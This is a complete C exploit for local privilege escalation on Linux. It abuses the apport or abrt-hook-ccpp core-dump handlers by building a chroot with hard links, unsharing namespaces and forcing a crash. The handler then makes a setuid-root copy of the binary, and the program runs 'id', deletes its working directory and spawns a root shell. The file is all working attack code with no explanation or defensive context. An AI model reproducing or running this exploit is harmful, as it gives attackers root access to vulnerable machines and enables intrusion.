#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <elf.h>
#include <err.h>
#include <syslog.h>
#include <sched.h>
#include <linux/sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/auxv.h>
#include <sys/wait.h>
# warning this file must be compiled with -static
int main( int argc, char **argv)
{
int status;
Elf32_Phdr *hdr;
pid_t wrapper;
pid_t init;
pid_t subprocess;
unsigned i;
hdr = ( void *) getauxval(AT_PHDR);
for (i = 0; i < getauxval(AT_PHNUM); i++) {
if (hdr[i].p_type == PT_DYNAMIC) {
errx(EXIT_FAILURE, "you *must* compile with -static" );
}
}
if (getuid() == 0) {
if (chown( "sh" , 0, 0) != 0)
exit(EXIT_FAILURE);
if (chmod( "sh" , 04755) != 0)
exit(EXIT_FAILURE);
return EXIT_SUCCESS;
}
if (setuid(0) == 0) {
system( "id" );
system( "rm -rf exploit" );
execlp( "sh" , "sh" , NULL);
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked" );
}
if (mkdir( "exploit" , 0755) != 0
|| mkdir( "exploit/usr" , 0755) != 0
|| mkdir( "exploit/usr/share" , 0755) != 0
|| mkdir( "exploit/usr/share/apport" , 0755) != 0
|| mkdir( "exploit/usr/libexec" , 0755) != 0) {
err(EXIT_FAILURE, "failed to create chroot directory" );
}
if (link(*argv, "exploit/sh" ) != 0
|| link(*argv, "exploit/usr/share/apport/apport" ) != 0
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp" ) != 0) {
err(EXIT_FAILURE, "failed to create required hard links" );
}
if ((wrapper = fork()) == 0) {
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
err(EXIT_FAILURE, "failed to create new namespace" );
if ((init = fork()) == 0) {
if ((subprocess = fork()) == 0) {
if (chroot( "exploit" ) != 0) {
err(EXIT_FAILURE, "chroot didnt work" );
}
__builtin_trap();
err(EXIT_FAILURE, "coredump failed, were you ptracing?" );
}
if (waitpid(subprocess, &status, 0) == subprocess)
return WIFSIGNALED(status)
? EXIT_SUCCESS
: EXIT_FAILURE;
return EXIT_FAILURE;
}
if (waitpid(init, &status, 0) == init)
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
? EXIT_SUCCESS
: EXIT_FAILURE;
return EXIT_FAILURE;
}
if (waitpid(wrapper, &status, 0) == wrapper) {
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
execl(*argv, "w00t" , NULL);
}
}
errx(EXIT_FAILURE, "unexpected result, cannot continue" );
}
|